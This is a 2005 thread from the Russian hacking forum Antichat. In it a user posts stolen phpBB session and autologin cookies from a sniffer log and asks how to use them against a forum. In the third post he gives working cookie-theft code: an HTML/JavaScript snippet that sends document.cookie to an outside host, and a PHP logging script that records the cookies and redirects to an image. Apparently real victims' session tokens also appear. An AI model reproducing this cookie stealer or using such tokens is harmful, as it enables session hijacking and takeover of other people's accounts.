HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости CMS / форумов
Перезагрузить страницу Что можно сделать данным реффером на форуме phpBB?
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Что можно сделать данным реффером на форуме phpBB?
  #1  
Старый 23.06.2005, 21:41
exbbxak
Новичок
Регистрация: 22.04.2005
Сообщений: 15
Провел на форуме:
9155

Репутация: 0
По умолчанию Что можно сделать данным реффером на форуме phpBB?
[1119435121] IP=81.222.213.44 REFERER=http://www.xxxxxxx/forum/images/avatars/13668201742b921b938e14.jpg QUERY=greenbearphpbb2mysql_data=a:2:{s:11:\"autolo ginid\";s:32:\"ee605ff459d5cb33d45a835de70afedf\"; s:6:\"userid\";i:3;}; phpbb2mysql_sid=f9255c089f5e0d130bf7daf2036c6ba9; schoolusers=0dbc4d3adb3669f50cbe7d24fa0d9246

что я могу с этими данными сделать на форуме и как?????
phpbb форум
 
Ответить с цитированием

  #2  
Старый 23.06.2005, 21:51
coyl
Участник форума
Регистрация: 14.01.2005
Сообщений: 127
Провел на форуме:
96115

Репутация: 5
По умолчанию
ого. интересный рефер... рассказывай, как отснифил?
 
Ответить с цитированием

  #3  
Старый 23.06.2005, 21:56
exbbxak
Новичок
Регистрация: 22.04.2005
Сообщений: 15
Провел на форуме:
9155

Репутация: 0
По умолчанию
просто свой скрипт написал на основе античатовского
код в картинке
<html>
<head>
<script>img = new Image(); img.src = "http://xxxx/1.php?lol"+document.cookie;
</script>
</head>
<body>
<img src="http:/xxxx/vl.jpg"><br>
</body>
</html>


Цитата:
<?php
$logfile="logi.txt"; #путь к лог-файлу
$mlength=50; #максимальное число записей в лог-файле

#читаем CGI запрос
$input = '';
foreach($HTTP_GET_VARS as $var => $val)
$input .= $var.'='.$val.' ';


#получаем время запроса и HTTP_REFERER
$now = time();
if (isset($HTTP_REFERER)) $ref = $_SERVER['HTTP_REFERER']; else $ref = 'No referrer!';

#читаем лог-файл в массив
$f = array();
$fh = @FOpen($logfile,'r');
if ($fh != false) {
while(!FEoF($fh))
$f[] = FGetS($fh);
FClose($fh);
}

#открываем на запись лог
$fh = FOPen($logfile,'w');

#сохраняем данные запроса
FPutS($fh,'['.$now.'] IP='.$REMOTE_ADDR.' REFERER='.$ref.' QUERY='.$input."
");

#сохраняем остальные логи, так что бы длина лог-файла не превышала mlength
$counter=0;
foreach ($f as $str) {
$counter++;
if ($counter < $mlength)
FPutS($fh,$str);
else
break;
};

#закрываем лог
Fclose ($fh);

#делаем редирект на картинку
header("Location: http://xxxxxx");

?>

после получения вашик Cookies а именно
Цитата:
[1119518613] IP=195.209.67.79 REFERER=http://xxxxxx.ru/images/avatars/150670992342b937671260b.jpg QUERY=xxxxxphpbb2mysql_data=a:2:{s\"autologinid\"; s\"5eb6c57b9b11a8c22ff02fa965bd9528\";s:6:\"userid \";i:3;}; phpbb2mysql_sid=816eeef16b5695e96aa113e3a6e964de; phpbb2mysql_t=a:3:{i:3958;i:1119518475;i:3856;i:11 19518507;i:3922;i:1119518518;}
Последний раз редактировалось exbbxak; 23.06.2005 в 22:01..
 
Ответить с цитированием
Ответ



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
химия своими руками silveran Болталка 43 11.01.2006 22:05
Что можно сделать в форуме Ipb 2.0.3. Имея пароль администратора? MDD Уязвимости CMS / форумов 5 09.06.2005 11:59
Что можно сделать на форуме phpBB 2.0.13, если html разрешён? temon Уязвимости CMS / форумов 3 02.05.2005 19:17
Можно ли залить шелл, зная пароль и ник админа на форуме? (phpbb 2.0.5) Evgeny Уязвимости CMS / форумов 2 26.01.2005 07:34
В форуме ВВ-теги включены, но фильтруються "javascript, onclick.." Что можно сделать? Уязвимости CMS / форумов 3 16.09.2004 01:32



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.